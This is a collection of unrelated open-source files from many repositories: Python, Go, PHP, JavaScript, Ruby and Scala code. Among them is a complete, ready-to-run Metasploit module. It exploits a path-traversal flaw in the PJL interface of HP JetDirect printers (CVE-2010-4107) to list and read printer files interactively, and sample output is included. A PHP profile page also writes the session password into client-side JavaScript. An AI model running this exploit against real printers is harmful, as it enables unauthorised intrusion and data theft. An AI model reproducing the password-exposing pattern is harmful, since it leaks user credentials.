def run_command(self, args, check_rc=False, close_fds=False, executable=None, data=None):
'''
Execute a command, returns rc, stdout, and stderr.
args is the command to run
If args is a list, the command will be run with shell=False.
Otherwise, the command will be run with shell=True when args is a string.
Other arguments:
- check_rc (boolean) Whether to call fail_json in case of
non zero RC. Default is False.
- close_fds (boolean) See documentation for subprocess.Popen().
Default is False.
- executable (string) See documentation for subprocess.Popen().
Default is None.
'''
if isinstance(args, list):
shell = False
elif isinstance(args, basestring):
shell = True
else:
msg = "Argument 'args' to run_command must be list or string"
self.fail_json(rc=257, cmd=args, msg=msg)
rc = 0
msg = None
st_in = None
if data:
st_in = subprocess.PIPE
try:
cmd = subprocess.Popen(args,
executable=executable,
shell=shell,
close_fds=close_fds,
stdin=st_in,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
if data:
cmd.stdin.write(data)
cmd.stdin.write('\\n')
out, err = cmd.communicate()
rc = cmd.returncode
except (OSError, IOError), e:
self.fail_json(rc=e.errno, msg=str(e), cmd=args)
except:
self.fail_json(rc=257, msg=traceback.format_exc(), cmd=args)
if rc != 0 and check_rc:
msg = err.rstrip()
self.fail_json(cmd=args, rc=rc, stdout=out, stderr=err, msg=msg)
return (rc, out, err)
# == END DYNAMICALLY INSERTED CODE ===
"""
|
mit
|
stickermule/rump
|
pkg/config/config_test.go
|
1706
|
package config
import (
"testing"
)
func TestNoRedis(t *testing.T) {
_, err := validate("/s.rump", "/t.rump", false, false)
if err == nil {
t.Error("file-only operations should not be supported")
}
}
func TestNoFrom(t *testing.T) {
_, err := validate("", "redis://t", false, false)
if err == nil {
t.Error("from should be required")
}
}
func TestNoTo(t *testing.T) {
_, err := validate("redis://s", "", false, false)
if err == nil {
t.Error("to should be required")
}
}
func TestFromRedisToRedis(t *testing.T) {
cfg, err := validate("redis://s", "redis://t", false, false)
if err != nil {
t.Error("from redis to redis should work")
}
if !cfg.Source.IsRedis {
t.Error("wrong from")
}
if !cfg.Target.IsRedis {
t.Error("wrong to")
}
if cfg.Source.URI != "redis://s" {
t.Error("wrong source")
}
if cfg.Target.URI != "redis://t" {
t.Error("wrong target")
}
}
func TestFromRedisToFile(t *testing.T) {
cfg, err := validate("redis://s", "/t.rump", false, false)
if err != nil {
t.Error("from redis to file should work")
}
if !cfg.Source.IsRedis {
t.Error("wrong from")
}
if cfg.Target.IsRedis {
t.Error("wrong to")
}
if cfg.Source.URI != "redis://s" {
t.Error("wrong source")
}
if cfg.Target.URI != "/t.rump" {
t.Error("wrong target")
}
}
func TestFromFileToRedis(t *testing.T) {
cfg, err := validate("/s.rump", "redis://t", false, false)
if err != nil {
t.Error("from file to redis should work")
}
if cfg.Source.IsRedis {
t.Error("wrong from")
}
if !cfg.Target.IsRedis {
t.Error("wrong to")
}
if cfg.Source.URI != "/s.rump" {
t.Error("wrong source")
}
if cfg.Target.URI != "redis://t" {
t.Error("wrong target")
}
}
|
mit
|
angelrove/membrillo2
|
src/WPage/Frame.php
|
1434
|
<?php
/**
* @author José A. Romero Vegas <jangel.romero@gmail.com>
*
*/
namespace angelrove\membrillo\WPage;
use angelrove\utils\CssJsLoad;
use angelrove\utils\FileContent;
class Frame
{
//------------------------------------------------------------------
public static function get(string $title = '', bool $showClose = false, string $linkClose = '')
{
if (!$linkClose) {
$linkClose = '"/"+main_secc';
}
CssJsLoad::set_script('
$(document).ready(function() {
//-----------------
$(".WFrame>.panel-heading>button.close").click(function() {
window.location = ' . $linkClose . ';
});
//-----------------
});
$(document).keydown(function(e) {
// Esc ------------
var WFrame_showClose = ' . ($showClose ? "true" : "false") . ';
if(WFrame_showClose == true && e.keyCode == 27) {
window.location = ' . $linkClose . ';
}
//-----------------
});
', 'WPage\Frame\get');
$tmpl_params = array(
'showClose' => $showClose,
'title' => $title
);
return FileContent::include_return(__DIR__ . '/tmpl_frame_init.inc', $tmpl_params);
}
//----------------------
public static function get_end()
{
return FileContent::include_return(__DIR__ . '/tmpl_frame_end.inc');
}
//------------------------------------------------------------------
}
|
mit
|
kaosborn/KaosCombinatorics
|
Examples/Permutation/PnExample02/PnExample02.cs
|
1370
|
using System;
using System.Linq;
using Kaos.Combinatorics;
namespace ExampleApp
{
// Subclassing is one way to get user-friendly output:
public class NumberText : Permutation
{
static string[] text = { "one", "two", "three" };
public NumberText() : base (text.Length)
{ }
public override string ToString()
{ return String.Join (" ", from ei in this select text[ei]); }
}
class PnExample02
{
static void Main()
{
Console.WriteLine ("All picks:\n");
foreach (var row in new NumberText().GetRowsForAllPicks())
Console.WriteLine (row);
Console.WriteLine ("\nAll choices:\n");
foreach (var row in new NumberText().GetRowsForAllChoices())
Console.WriteLine (row);
}
/* Output:
All picks:
one
two
three
one two
one three
two one
two three
three one
three two
one two three
one three two
two one three
two three one
three one two
three two one
All choices:
one
one two
two one
one two three
one three two
two one three
two three one
three one two
three two one
*/
}
}
|
mit
|
novandypurnadrd/GradeControl
|
application/views/Profile.php
|
6817
|
<!DOCTYPE html>
<html lang="en">
<head>
<!-- HEADLIB -->
<?php $this->load->view('lib/Headlib'); ?>
<!-- END HEADLIB -->
</head>
<body class="menubar-hoverable header-fixed ">
<!-- BEGIN HEADER-->
<?php $this->load->view('lib/Header'); ?>
<!-- END HEADER-->
<!-- BEGIN BASE-->
<div id="base">
<!-- BEGIN OFFCANVAS LEFT -->
<div class="offcanvas">
</div><!--end .offcanvas-->
<!-- END OFFCANVAS LEFT -->
<!-- BEGIN CONTENT-->
<div id="content">
<section>
<div class="section-body">
<div class="row">
<div class="col-xs-12">
<!-- PAGE CONTENT BEGINS -->
<div>
<!-- <div id="user-profile-1" class="user-profile row">
<div class="col-xs-12 col-sm-3 center">
<div>
<span class="profile-picture">
<img id="avatar" class="editable img-responsive" alt="Alex's Avatar" src="<?php echo base_url();?>assets/images/avatars/user.png" />
</span>
<!-- <div class="space-4"></div> -->
<!-- <div class="width-80 label label-info label-xlg arrowed-in arrowed-in-right">
<div class="inline position-relative">
<i class="ace-icon fa fa-circle light-green"></i>
<span class="white"><?php //echo $this->session->userdata('nameGradeControl');?></span>
</div>
</div>
</div>
<div class="space-6"></div>
<div class="hr hr16 dotted"></div>
</div>
</div> -->
<div class="col-xs-12 col-sm-9">
<div class="card">
<div class="card-heard text-lg text-bold text-primary">
<header align="center">Profile User</header>
</div>
<!-- end card head -->
<div class="card-body height-9">
<div class="row">
<div class="col-sm-12 hidden-xs">
<form class="form floating-label" method="post" action="<?php echo base_url().'Profile/UpdateProfile' ?>" enctype="multipart/form-data">
<div class="form-group">
<input type="text" autocomplete="off" class="form-control" id="username" name="username" readonly autocomplete="off" value="<?php echo $this->session->userdata('usernameGradeControl') ?>">
<label for="username">Username</label>
</div>
<div class="form-group">
<input type="password" class="form-control" id="password" required name="password">
<label for="password">New Password</label>
</div>
<div class="form-group">
<input type="text" autocomplete="off" class="form-control" id="role" name="role" readonly autocomplete="off" value="<?php echo $this->session->userdata('GradeControl') ?>">
<label for="username">Role</label>
</div>
<br/>
<div class="profile-info-row" style="text-align:center;">
<div class="profile-info-name"></div>
<div class="profile-info-value">
<button type="submit" class="btn btn-white btn-info btn-bold">
<i class="ace-icon fa fa-floppy-o bigger-120 blue"></i>
Update
</button>
<button type="reset" class="btn btn-white btn-warning btn-bold">
<i class="ace-icon fa fa-refresh bigger-120 orange"></i>
Reset
</button>
</div>
</div> <br/>
<?php echo $this->session->flashdata('message');?>
</form>
</div><!--end .col -->
</div>
</div>
</div>
</div>
<!-- PAGE UPLOAD FOTO BEGINS -->
<div class="col-xs-12 col-sm-3">
<div class="card">
<!-- begin end head -->
<div class="card-heard text-lg text-bold text-primary">
<header align="center">Upload Foto</header>
</div>
<!-- end card head -->
<div class="card-body no-padding height-9">
<div class="row">
<div class="col-sm-12 hidden-xs">
<form action="<?php echo base_url().'Profile/InsertImage' ?>" method="post" enctype="multipart/form-data">
<table class="table table-striped">
<tr>
<td style="width:15%;">File Foto</td>
<td>
<div class="col-sm-12">
<input type="file" name="filefoto" class="form-control">
</div>
</td>
</tr>
<tr>
<td colspan="2">
<div class="profile-info-row" style="text-align:center;">
<div class="profile-info-name"></div>
<div class="profile-info-value">
<button type="submit" class="btn btn-white btn-success btn-bold">
<i class="ace-icon fa fa-floppy-o bigger-120 blue"></i>
Upload
</button>
<button type="reset" class="btn btn-white btn-warning btn-bold">
<i class="ace-icon fa fa-refresh bigger-120 orange"></i>
Cancel
</button>
</div>
</div>
</td>
</tr>
</table>
</form>
</div> <?php echo $this->session->flashdata('pesan');?>
</div>
<!-- UPLOAD FOTO ENDS -->
</div>
<!-- PAGE CONTENT ENDS -->
</div><!-- /.col -->
</div><!--end .row -->
</div><!--end .section-body -->
</section>
</div><!--end #content-->
<!-- END CONTENT -->
<!-- NAVIGATION-->
<!-- END NAVIGATION -->
<?php $this->load->view('lib/Navigation'); ?>
<!-- FOOTER -->
<?php $this->load->view('lib/Footer'); ?>
<!-- /#END FOOTER -->
</div><!--end #base-->
<!-- END BASE -->
<!-- FOOTLIB -->
<?php $this->load->view('lib/Footlib') ?>
<!-- END FOOTLIB -->
<script>
function myFunction() {
var button = document.getElementById("submit");
var x = document.getElementById("password");
if (x.value == "<?php echo $this->session->userdata('passwordCSR') ?>") {
submit.disabled = false;
}
else {
submit.disabled = true;
}
}
</script>
</body>
</html>
|
mit
|
MayGo/grails-scaffold-demo
|
scafmo/angular/client/app/testString/testString.list.controller.js
|
2551
|
'use strict';
angular.module('angularDemoApp')
.controller('TestStringListController', function ($scope, $rootScope,
$state, $q, TestStringService, $stateParams, $timeout, logger, ngTableParams, appConfig, $location, $mdDialog) {
if($state.current.data){
$scope.isTab = $state.current.data.isTab;
}
$scope.deleteTestString = function(instance){
return TestStringService.deleteInstance(instance).then(function(instance){
$scope.tableParams.reload();
return instance;
});
};
$scope.search = {};
if($location.search().filter) {
angular.extend($scope.search,$location.search())
$location.search().filter = null
}
var filterTimeout;
var defaultParams = {
page: 1, // show first page
count: appConfig.itemsByPage, // count per page
sorting: {
id: 'asc' // initial sorting
},
filter: $scope.search
};
var parameters = angular.extend(defaultParams,$location.search());
var errorCallback = function(response){
if (response.data && response.data.errors) {
angular.forEach(response.data.errors, function (error) {
logger.info(error.message);
});
}
};
var settings = {
getData: function($defer, params) {
// do not let to make do much queries
if (filterTimeout){
$timeout.cancel(filterTimeout);
}
filterTimeout = $timeout(function() {
$location.search(params.url()); // put params in url
var offset = (params.page()-1) * params.count();
var paging = {max: params.count(), offset: offset};
var query = _.merge(paging, params.filter())
if (params.sorting()) {
query.sort = Object.keys(params.sorting())[0];
query.order = params.sorting()[query.sort];
}
if($stateParams.relationName && $stateParams.id){
if(_.isEmpty(query[$stateParams.relationName])){
query[$stateParams.relationName] = [];
}
query[$stateParams.relationName].push(Number($stateParams.id));
}
TestStringService.query(query, function(response, responseHeaders){
params.total(responseHeaders().total);
$defer.resolve(response);
}, errorCallback);
}, 255);
}
};
$scope.tableParams = new ngTableParams(parameters, settings);
/**
* When list is opened as modal to select item to field with item-selector directive
* @param item
*/
$scope.selectItemToField = function (item) {
console.log("Selected item:", item);
$mdDialog.hide(item);
};
$scope.closeItemToFieldSelector = function () {
$mdDialog.hide();
};
});
|
mit
|
Azure/azure-sdk-for-ruby
|
data/azure_cognitiveservices_face/lib/1.0/generated/azure_cognitiveservices_face/models/name_and_user_data_contract.rb
|
1782
|
# encoding: utf-8
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::CognitiveServices::Face::V1_0
module Models
#
# A combination of user defined name and user specified data for the
# person, largePersonGroup/personGroup, and largeFaceList/faceList.
#
class NameAndUserDataContract
include MsRestAzure
# @return [String] User defined name, maximum length is 128.
attr_accessor :name
# @return [String] User specified data. Length should not exceed 16KB.
attr_accessor :user_data
#
# Mapper for NameAndUserDataContract class as Ruby Hash.
# This will be used for serialization/deserialization.
#
def self.mapper()
{
client_side_validation: true,
required: false,
serialized_name: 'NameAndUserDataContract',
type: {
name: 'Composite',
class_name: 'NameAndUserDataContract',
model_properties: {
name: {
client_side_validation: true,
required: false,
serialized_name: 'name',
constraints: {
MaxLength: 128
},
type: {
name: 'String'
}
},
user_data: {
client_side_validation: true,
required: false,
serialized_name: 'userData',
constraints: {
MaxLength: 16384
},
type: {
name: 'String'
}
}
}
}
}
end
end
end
end
|
mit
|
spudmind/undertheinfluence
|
parsers/lords_interests/__init__.py
|
39
|
from parse_lords_interests import parse
|
mit
|
PavelPolyakov/laravel-demo
|
vendor/mrjuliuss/syntara/src/models/Permissions/PermissionProvider.php
|
1911
|
<?php namespace MrJuliuss\Syntara\Models\Permissions;
use Illuminate\Support\Facades\Facade;
use MrJuliuss\Syntara\Models\Permissions\PermissionNotFoundException;
use MrJuliuss\Syntara\Models\Permissions\PermissionExistsException;
class PermissionProvider
{
protected $_model = 'MrJuliuss\Syntara\Models\Permissions\Permission';
/**
* Create permission
* @param array $attributes
* @return Permission permission object
*/
public function createPermission($attributes)
{
$permission = $this->createModel();
$permission->fill($attributes);
$permission->save();
return $permission;
}
/**
* Create a new instance of the model.
*
* @return \Illuminate\Database\Eloquent\Model
*/
public function createModel()
{
$class = '\\'.ltrim($this->_model, '\\');
return new $class;
}
/**
* Returns an all permissions.
*
* @return array
*/
public function findAll()
{
return $this->createModel()->newQuery()->get()->all();
}
/**
* Find a permission by the given permission id
* @param int $id
* @return Permission
*/
public function findById($id)
{
if(!$permission = $this->createModel()->newQuery()->find($id))
{
throw new PermissionNotFoundException("A permission could not be found with ID [$id].");
}
return $permission;
}
/**
* Find a permission by the given permission value
* @param string $value
* @return Permission
*/
public function findByValue($value)
{
if(!$permission = $this->createModel()->newQuery()->where('value', '=', $value)->get()->first())
{
throw new PermissionNotFoundException("A permission could not be found with Value [$value].");
}
return $permission;
}
}
|
mit
|
dvla/os-address-lookup
|
src/test/scala/dvla/domain/ordnance_survey_preproduction/ResponseSpec.scala
|
3333
|
package dvla.domain.ordnance_survey_preproduction
import dvla.helpers.UnitSpec
import java.net.URI
import play.api.libs.json.Json
import scala.io.Source
class ResponseSpec extends UnitSpec {
"Response Parser loading json for ec1a 4jq" should {
"populate the header given json with header but 0 results" in {
val resp = getResource(Path + "Empty_Result_Response.json")
val poso = Json.parse(resp).as[Response]
poso.header.uri should equal(new URI("https://api.ordnancesurvey.co.uk/places/v1/addresses/postcode?postcode=EC1A4JQ&key=[INSERT_USER_API_KEY_HERE]"))
poso.header.totalresults should equal(0)
}
"populate the the results given json with 0 result" in {
val resp = getResource(Path + "Empty_Result_Response.json")
val poso = Json.parse(resp).as[Response]
poso.results match {
case None =>
case _ => fail("expected results")
}
}
"populate the header given json with header and 1 result DPA only" in {
val resp = getResource(Path + "One_DPA_Result_Response.json")
val poso = Json.parse(resp).as[Response]
poso.header.uri should equal(new URI("https://api.ordnancesurvey.co.uk/places/v1/addresses/postcode?postcode=SO16%200AS&key=[INSERT_USER_API_KEY_HERE]"))
poso.header.totalresults should equal(1)
}
"populate the the results given json with 1 result DPA only" in {
val resp = getResource(Path + "One_DPA_Result_Response.json")
val poso = Json.parse(resp).as[Response]
poso.results match {
case Some(results) => results.length should equal(1)
case _ => fail("expected results")
}
}
"populate the header given json with header and multiple results" in {
val resp = getResource(Path + "Multiple_Result_Response.json")
val poso = Json.parse(resp).as[Response]
poso.header.uri should equal(new URI("https://api.ordnancesurvey.co.uk/places/v1/addresses/postcode?postcode=SO16%200AS&key=[INSERT_USER_API_KEY_HERE]"))
poso.header.totalresults should equal(3)
}
"populate the the results given json with multiple results" in {
val resp = getResource(Path + "Multiple_Result_Response.json")
val poso = Json.parse(resp).as[Response]
poso.results match {
case Some(results) => results.length should equal(3)
case _ => fail("expected results")
}
}
"populate the header given json with header and 1 result DPA and LPI" in {
val resp = getResource(Path + "One_DPA_And_LPI_Result_Response.json")
val poso = Json.parse(resp).as[Response]
poso.header.uri should equal(new URI("https://api.ordnancesurvey.co.uk/places/v1/addresses/postcode?postcode=SO16%200AS&key=[INSERT_USER_API_KEY_HERE]"))
poso.header.totalresults should equal(2)
}
"populate the the results given json with 1 result DPA and LPI" in {
val resp = getResource(Path + "One_DPA_And_LPI_Result_Response.json")
val poso = Json.parse(resp).as[Response]
poso.results match {
case Some(results) => results.length should equal(2)
case _ => fail("expected results")
}
}
}
private final val Path = "ordnance_survey_preproduction/"
private def getResource(name: String) = Source.fromURL(this.getClass.getResource(s"/$name")).mkString("")
}
|
mit
|
hahwul/mad-metasploit
|
archive/exploits/hardware/remote/17635.rb
|
7846
|
# Exploit Title: HP JetDirect PJL Interface Universal Path Traversal
# Date: Aug 7, 2011
# Author: Myo Soe <YGN Ethical Hacker Group - http://yehg.net/>
# Software Link: http://www.hp.com
# Version: All
# Tested on: HP LaserJet Pxxxx Series
##
# $Id: $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
##
# Sample Output:
#
#
# msf auxiliary(hp_printer_pjl_traversal) > show options
#
# Module options (auxiliary/admin/hp_printer_pjl_traversal):
#
# Name Current Setting Required Description
# ---- --------------- -------- -----------
# INTERACTIVE false no Enter interactive mode [msfconsole Only]
# RHOST 202.138.16.21 yes The target address
# RPATH / yes The remote filesystem path to browse or read
# RPORT 9100 yes The target port
#
#
# msf auxiliary(hp_printer_pjl_traversal) > run
#
# [*] cd / ...
# [+] Server returned the following response:
#
# . TYPE=DIR
# .. TYPE=DIR
# bin TYPE=DIR
# usr TYPE=DIR
# etc TYPE=DIR
# hpmnt TYPE=DIR
# hp TYPE=DIR
# lib TYPE=DIR
# dev TYPE=DIR
# init TYPE=FILE SIZE=9016
# .profile TYPE=FILE SIZE=834
# tmp TYPE=DIR
#
#
# msf auxiliary(hp_printer_pjl_traversal) > set INTERACTIVE true
# INTERACTIVE => true
# msf auxiliary(hp_printer_pjl_traversal) > set RPATH /hp
# RPATH => /hp
# msf auxiliary(hp_printer_pjl_traversal) > run
#
# [*] Entering interactive mode ...
# [*] cd /hp ...
# [+] Server returned the following response:
#
# . TYPE=DIR
# .. TYPE=DIR
# app TYPE=DIR
# lib TYPE=DIR
# bin TYPE=DIR
# webServer TYPE=DIR
# images TYPE=DIR
# DemoPage TYPE=DIR
# loc TYPE=DIR
# AsianFonts TYPE=DIR
# data TYPE=DIR
# etc TYPE=DIR
# lrt TYPE=DIR
#
# [*] Current RPATH: /hp
# [*] -> 'quit' to exit
# [*] ->'/' to return to file system root
# [*] ->'..' to move up to one directory
# [*] ->'!r FILE' to read FILE on current directory
#
# [*] Enter RPATH:
# $ > webServer/config
# [*] cd /hp/webServer/config ...
# [+] Server returned the following response:
#
# . TYPE=DIR
# .. TYPE=DIR
# soe.xml TYPE=FILE SIZE=23615
# version.6 TYPE=FILE SIZE=45
#
#
# [*] Current RPATH: /hp/webServer/config
# [*] -> 'quit' to exit
# [*] ->'/' to return to file system root
# [*] ->'..' to move up to one directory
# [*] ->'!r FILE' to read FILE on current directory
#
# [*] Enter RPATH:
# $ > !r version.6
# [*] cat /hp/webServer/config/version.6 ...
# [+] Server returned the following response:
#
# WebServer directory version. Do not delete!
#
#
# [*] Current RPATH: /hp/webServer/config
# [*] -> 'quit' to exit
# [*] ->'/' to return to file system root
# [*] ->'..' to move up to one directory
# [*] ->'!r FILE' to read FILE on current directory
#
# [*] Enter RPATH:
# $ > quit
# [*] Exited ... Have fun with your Printer!
# [*] Auxiliary module execution completed
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
def initialize(info={})
super(update_info(info,
'Name' => 'HP JetDirect PJL Interface Universal Path Traversal',
'Version' => '$Revision: 1 $',
'Description' => %q{
This module exploits path traveresal issue in possibly all HP network-enabled printer series, especially those which enable Printer Job Language (aka PJL) command interface through the default JetDirect port 9100.
With the decade-old dot-dot-slash payloads, the entire printer file system can be accessed or modified.
},
'Author' => [
'Moritz Jodeit <http://www.nruns.com/>', # Bug Discoverer
'Myo Soe <YGN Ethical Hacker Group, http://yehg.net/>' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2010-4107' ],
[ 'URL', 'http://www.nruns.com/_downloads/SA-2010%20003-Hewlett-Packard.pdf' ],
[ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02004333' ],
[ 'URL', 'http://www.irongeek.com/i.php?page=security/networkprinterhacking' ],
[ 'URL', 'https://github.com/urbanadventurer/WhatWeb/blob/master/plugins/HP-laserjet-printer.rb' ],
[ 'URL', 'https://github.com/urbanadventurer/WhatWeb/blob/master/plugins/HP-OfficeJet-Printer.rb' ],
[ 'URL', 'http://core.yehg.net/lab/#tools.exploits' ]
],
'DisclosureDate' => '2010-11-15'))
register_options(
[
OptString.new('RPATH',
[
true,
"The remote filesystem path to browse or read",
"/"
]
),
OptBool.new('INTERACTIVE',
[
false,
"Enter interactive mode [msfconsole Only]",
false
]
),
Opt::RPORT(9100)
],self.class)
end
def run
mode = datastore['INTERACTIVE']
if mode == true
set_interactive(datastore['RPATH'])
else
set_onetime(datastore['RPATH'])
end
end
def set_interactive(spath)
action = 'DIR'
rpath = spath
rfpath = ''
tmp_path = ''
tmp_file = ''
cur_dir = '/'
print_status("Entering interactive mode")
stop = false
set_onetime(rpath)
until stop == true
print_status("Current RPATH: #{rpath}")
print_status("-> 'quit' to exit")
print_status("->'/' to return to file system root")
print_status("->'..' to move up to one directory")
print_status("->'!r FILE' to read FILE on current directory\r\n")
print_status("Enter RPATH:")
print("$ > ")
tmp_path = gets.chomp.to_s
if tmp_path =~ /\.\./ && rpath.length > 2
old_path = rpath
new_path = rpath[0,rpath.rindex('/')]
if new_path != nil
rpath = new_path
else
rpath = '/'
end
rpath = '/' if rpath.length == 0
print_status("Change to one up directory: #{rpath}")
elsif tmp_path =~ /\!r\s/
cur_dir = rpath
tmp_file = tmp_path.gsub('!r ','')
rfpath = cur_dir + '/' + tmp_file
rfpath = rfpath.gsub('//','/')
action = 'FILE'
elsif tmp_path == '/'
rpath = '/'
elsif rpath != '/'
rpath = rpath + '/' << tmp_path
else
rpath = rpath << tmp_path
end
if rpath =~ /quit/
stop= true
rpath = '/'
print_status("Exited ... Have fun with your Printer!")
else
rpath = rpath.gsub('//','/')
if action == 'FILE'
set_onetime(rfpath,action)
cur_dir = rpath
else
set_onetime(rpath,action)
end
action = 'DIR'
end
end
end
def set_onetime(spath,saction = datastore['ACTION'])
rpathx = spath
action = saction
rpathx = '/' if rpathx =~ /\/quit/
connect
dir_cmd = "\x1b%-12345X@PJL FSDIRLIST NAME=\"0:/../../../[REPLACE]\" ENTRY=1 COUNT=99999999\x0d\x0a\x1b%-12345X\x0d\x0a"
file_cmd = "\x1b%-12345X@PJL FSUPLOAD NAME=\"0:/../../../[REPLACE]\" OFFSET=0 SIZE=99999999\x0d\x0a\x1b%-12345X\x0d\x0a"
if action =~ /DIR/
r_cmd = dir_cmd.sub("[REPLACE]",rpathx)
print_status("cd #{rpathx} ...")
else
r_cmd = file_cmd.sub("[REPLACE]",rpathx)
print_status("cat #{rpathx} ...")
end
recv = sock.put(r_cmd)
res = sock.get(-1,1)
if (!res)
print_error("ERROR in receiving data!\r\n")
else
if res.to_s =~ /ERROR/
print_error("Operation Not Permitted or File/DIR Not Found!\r\n")
disconnect
return
end
resx = res.to_s[res.index("\r\n")+1,res.length]
print_good("Server returned the following response:\r\n#{resx}")
end
disconnect
end
end
|
mit
|
djnawara/natto
|
spec/views/users/_user_bar.html.erb_spec.rb
|
745
|
require File.expand_path(File.dirname(__FILE__) + '/../../spec_helper')
describe "partial 'user_bar'" do
fixtures :users, :roles
describe "when logged in" do
it "should provide profile and logout links" do
login_as :admin
render "/users/_user_bar.html.erb"
response.should have_tag("div[id=user_bar]") do
with_tag("a[href=?]", '/account')
with_tag("a[href=?]", '/logout')
end
end
end
describe "when logged out" do
it "should provide login and register links" do
render "/users/_user_bar.html.erb"
response.should have_tag("div[id=user_bar]") do
with_tag("a[href=?]", '/signup')
with_tag("a[href=?]", '/login')
end
end
end
end
|
mit
|
enispirli/PalandokenCam
|
application/views/admin/sertifika_ekle.php
|
3092
|
<!DOCTYPE html>
<!--
To change this license header, choose License Headers in Project Properties.
To change this template file, choose Tools | Templates
and open the template in the editor.
-->
<div id="content" class>
<div class="container-fluid outer">
<div class="row-fluid">
<div class="span-12 inner">
<?php if($this->session->flashdata('sonuc')){ ?>
<div class="alert alert-success fade in alert-dismissable" style="margin-top:18px;">
<a href="#" class="close" data-dismiss="alert" aria-label="close" title="close">×</a>
<?=$this->session->flashdata('sonuc')?>
</div>
<?php }?>
<div class="box dark">
<header><h5>SERTİFİKA EKLE</h5></header>
<div class="accordion-body collapse in body ">
<form class="form-horizontal col-lg-6" action="<?=base_url()?>admin/SertifikaEkle/ekle" method="post">
<input id="sertifikaId" name="sertifikaId" value="" type="hidden"/>
<div class="control-group">
<label for="kategoriAdi" class="control-label">Sertifika Adı</label>
<div class="controls with-tooltip">
<input id="sertifikaIsim" name="sertifikaIsim" value="" />
</div>
</div>
<div class="control-group ">
<label for="detay" class="control-label">Detay</label>
<div class="controls with-tooltip">
<textarea type="text" id="sertifikaIcerik" class="tiny-editor" name="sertifikaIcerik" ></textarea>
</div>
</div>
<div class="control-group">
<label for="dosya" class="control-label">Sertifika Dosya </label>
<div class="controls with-tooltip">
<input id="sertifikaDosya" name="sertifikaDosya" value="" />
</div>
</div>
<div class="control-group">
<label for="yol" class="control-label">Sertifika Resim Yolu</label>
<div class="controls with-tooltip">
<input id="sertifikaYol" name="sertifikaYol" value="" />
</div>
</div>
<div class="control-group ">
<input type="submit" class="right btn btn-success">
</div>
</form>
</div>
</div>
</div>
</div>
</div>
</div>
|
mit
|
no-lab/sf2demo
|
src/BackOfficeBundle/Entity/User.php
|
2937
|
<?php
namespace BackOfficeBundle\Entity;
use Doctrine\ORM\Mapping as ORM;
use Symfony\Component\Security\Core\User\UserInterface;
/**
* @ORM\Table(name="users")
* @ORM\Entity(repositoryClass="BackOfficeBundle\Entity\UserRepository")
*/
class User implements UserInterface, \Serializable
{
/**
* @ORM\Column(type="integer")
* @ORM\Id
* @ORM\GeneratedValue(strategy="AUTO")
*/
private $id;
/**
* @ORM\Column(type="string", length=25, unique=true)
*/
private $username;
/**
* @ORM\Column(type="string", length=64)
*/
private $password;
/**
* @ORM\Column(type="string", length=60, unique=true)
*/
private $email;
/**
* @ORM\Column(name="is_active", type="boolean")
*/
private $isActive;
public function __construct()
{
$this->isActive = true;
}
public function getUsername()
{
return $this->username;
}
public function getSalt()
{
return null;
}
public function getPassword()
{
return $this->password;
}
public function getRoles()
{
return array('ROLE_USER');
}
public function eraseCredentials()
{
}
/** @see \Serializable::serialize() */
public function serialize()
{
return serialize(array(
$this->id,
$this->username,
$this->password,
)
);
}
/** @see \Serializable::unserialize() */
public function unserialize($serialized)
{
list (
$this->id,
$this->username,
$this->password,
) = unserialize($serialized);
}
/**
* Get id
*
* @return integer
*/
public function getId()
{
return $this->id;
}
/**
* Set username
*
* @param string $username
*
* @return User
*/
public function setUsername($username)
{
$this->username = $username;
return $this;
}
/**
* Set password
*
* @param string $password
*
* @return User
*/
public function setPassword($password)
{
$this->password = $password;
return $this;
}
/**
* Set email
*
* @param string $email
*
* @return User
*/
public function setEmail($email)
{
$this->email = $email;
return $this;
}
/**
* Get email
*
* @return string
*/
public function getEmail()
{
return $this->email;
}
/**
* Set isActive
*
* @param boolean $isActive
*
* @return User
*/
public function setIsActive($isActive)
{
$this->isActive = $isActive;
return $this;
}
/**
* Get isActive
*
* @return boolean
*/
public function getIsActive()
{
return $this->isActive;
}
}
|
mit
|
Pankiev/MMORPG_Prototype
|
ClientServerCommon/src/main/java/pl/mmorpg/prototype/clientservercommon/packets/levelup/LevelUpPacket.java
|
261
|
package pl.mmorpg.prototype.clientservercommon.packets.levelup;
import lombok.Data;
import pl.mmorpg.prototype.clientservercommon.registering.Registerable;
@Registerable
@Data
public class LevelUpPacket
{
private long targetId;
private int levelUpPoints;
}
|
mit
|
cubemoon/GolfCLUB
|
controllers/game/array3.js
|
2207
|
/*
#!/usr/local/bin/node
-*- coding:utf-8 -*-
Copyright 2013 freedom Inc. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
---
Created with Sublime Text 2.
Date: 17/11/13
Time: 14:57 PM
Desc: array3 - the controller of array3
*/
//mode
/*jslint nomen: true*/
"use strict";
var coreDataHandler = require("../core/coreDataHandler");
var apiInfo = require("../../docs/apis").APIInfo;
var EventProxy = require("eventproxy");
/**
* the main request for array 3 ticket
* @param {object} req the instance of request
* @param {object} res the instance of responce
* @param {Function} next the next handler
* @return {null}
*/
exports.array3 = function (req, res, next) {
if (!req.session || !req.session.user) {
return res.redirect("/");
}
var categoryList = [];
var subCategoryList = [];
var ep = EventProxy.create();
coreDataHandler.getPlayTypeList(apiInfo.array3PlayTypeStr.split(",") , function (playTypeList) {
categoryList = playTypeList;
ep.emitLater("after_getCategory");
})
ep.once("after_getCategory", function() {
for (var i = 0; i < categoryList.length; i++) {
subCategoryList.push(coreDataHandler.getPlayTypeDetail(categoryList[i].PlayId));
}
ep.emitLater("after_getSubCategory");
});
ep.once("after_getSubCategory", function() {
ep.emitLater("complete");
});
ep.once("complete", function() {
res.render("game/array3", {
categoryList : categoryList,
subCategoryList : subCategoryList,
